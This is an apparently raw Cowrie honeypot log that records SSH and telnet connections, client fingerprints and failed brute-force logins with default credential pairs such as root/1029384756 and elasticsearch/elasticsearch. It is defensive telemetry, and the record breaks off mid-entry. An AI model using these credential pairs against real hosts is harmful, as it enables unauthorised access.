{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:34.775293Z","src_ip":"192.109.200.78","session":"79634887ab27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33192,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e384907dad9","protocol":"ssh","message":"New connection: 192.109.200.78:33192 (10.17.0.5:22) [session: 8e384907dad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:37.022176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:37.062106Z","src_ip":"192.109.200.78","session":"8e384907dad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:37.284900Z","src_ip":"192.109.200.78","session":"8e384907dad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40036,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ced6f12b410","protocol":"telnet","message":"New connection: 206.189.71.75:40036 (159.203.135.109:23) [session: 7ced6f12b410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:37.333937Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40128,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee6a20a995c","protocol":"telnet","message":"New connection: 206.189.71.75:40128 (159.203.135.109:23) [session: cee6a20a995c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:37.438973Z"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:37.730652Z","src_ip":"192.109.200.78","session":"8e384907dad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40882,"dst_ip":"159.203.135.109","dst_port":23,"session":"c49fda97f01d","protocol":"telnet","message":"New connection: 206.189.71.75:40882 (159.203.135.109:23) [session: c49fda97f01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:38.225590Z"}
{"eventid":"cowrie.session.closed","duration":45.23204231262207,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:38.590231Z","src_ip":"206.189.71.75","session":"89f79c7f0283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:38.818808Z","src_ip":"192.109.200.78","session":"8e384907dad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.90925073623657,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:39.062558Z","src_ip":"206.189.71.75","session":"cd36d764df40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42094,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae3b721c2da8","protocol":"telnet","message":"New connection: 206.189.71.75:42094 (159.203.135.109:23) [session: ae3b721c2da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:39.668631Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39954,"dst_ip":"159.203.135.109","dst_port":23,"session":"715198f1e9ed","protocol":"telnet","message":"New connection: 206.189.71.75:39954 (159.203.135.109:23) [session: 715198f1e9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:41.219636Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41942,"dst_ip":"10.17.0.5","dst_port":22,"session":"897ada322ca0","protocol":"ssh","message":"New connection: 192.109.200.78:41942 (10.17.0.5:22) [session: 897ada322ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:41.251520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:41.255869Z","src_ip":"192.109.200.78","session":"897ada322ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":43354,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a3965b2461","protocol":"telnet","message":"New connection: 206.189.71.75:43354 (159.203.135.109:23) [session: d2a3965b2461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:41.291080Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:41.338238Z","src_ip":"192.109.200.78","session":"897ada322ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:41.601106Z","src_ip":"192.109.200.78","session":"897ada322ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:42.690773Z","src_ip":"192.109.200.78","session":"897ada322ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46058,"dst_ip":"159.203.135.109","dst_port":23,"session":"c672148b77f4","protocol":"telnet","message":"New connection: 206.189.71.75:46058 (159.203.135.109:23) [session: c672148b77f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:44.252691Z"}
{"eventid":"cowrie.session.closed","duration":120.00217318534851,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:45.346496Z","src_ip":"206.189.71.75","session":"9fa0cc50b212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41950,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbaa76108d59","protocol":"ssh","message":"New connection: 192.109.200.78:41950 (10.17.0.5:22) [session: dbaa76108d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:45.444617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:45.449049Z","src_ip":"192.109.200.78","session":"dbaa76108d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:45.530408Z","src_ip":"192.109.200.78","session":"dbaa76108d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:45.787871Z","src_ip":"192.109.200.78","session":"dbaa76108d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:46.875177Z","src_ip":"192.109.200.78","session":"dbaa76108d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":50230,"dst_ip":"159.203.135.109","dst_port":23,"session":"99164463161b","protocol":"telnet","message":"New connection: 206.189.71.75:50230 (159.203.135.109:23) [session: 99164463161b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:48.885879Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42586,"dst_ip":"10.17.0.5","dst_port":22,"session":"a242920f8e64","protocol":"ssh","message":"New connection: 192.109.200.78:42586 (10.17.0.5:22) [session: a242920f8e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:49.534421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:49.538802Z","src_ip":"192.109.200.78","session":"a242920f8e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:49.624532Z","src_ip":"192.109.200.78","session":"a242920f8e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:49.879554Z","src_ip":"192.109.200.78","session":"a242920f8e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87701892852783,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:49.941366Z","src_ip":"206.189.71.75","session":"6ecd7d3ca0df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51328,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e1364404088","protocol":"telnet","message":"New connection: 206.189.71.75:51328 (159.203.135.109:23) [session: 6e1364404088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:50.094940Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:50.964984Z","src_ip":"192.109.200.78","session":"a242920f8e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.52402591705322,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:52.814349Z","src_ip":"206.189.71.75","session":"788283221d76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.566760540008545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:52.995727Z","src_ip":"206.189.71.75","session":"cef97c530b7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42602,"dst_ip":"10.17.0.5","dst_port":22,"session":"62500b5a1f7c","protocol":"ssh","message":"New connection: 192.109.200.78:42602 (10.17.0.5:22) [session: 62500b5a1f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:53.719923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:53.724774Z","src_ip":"192.109.200.78","session":"62500b5a1f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:53.813569Z","src_ip":"192.109.200.78","session":"62500b5a1f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:54.065060Z","src_ip":"192.109.200.78","session":"62500b5a1f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:55.185471Z","src_ip":"192.109.200.78","session":"62500b5a1f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.53753972053528,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:57.026000Z","src_ip":"206.189.71.75","session":"bc94836ca7e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42604,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e912b89675c","protocol":"ssh","message":"New connection: 192.109.200.78:42604 (10.17.0.5:22) [session: 9e912b89675c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:57.820093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:57.913682Z","src_ip":"192.109.200.78","session":"9e912b89675c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:57.917450Z","src_ip":"192.109.200.78","session":"9e912b89675c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60636,"dst_ip":"159.203.135.109","dst_port":22,"session":"cddf0d4acb84","protocol":"ssh","message":"New connection: 159.203.92.129:60636 (159.203.135.109:22) [session: cddf0d4acb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:58.033629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:58.037873Z","src_ip":"159.203.92.129","session":"cddf0d4acb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 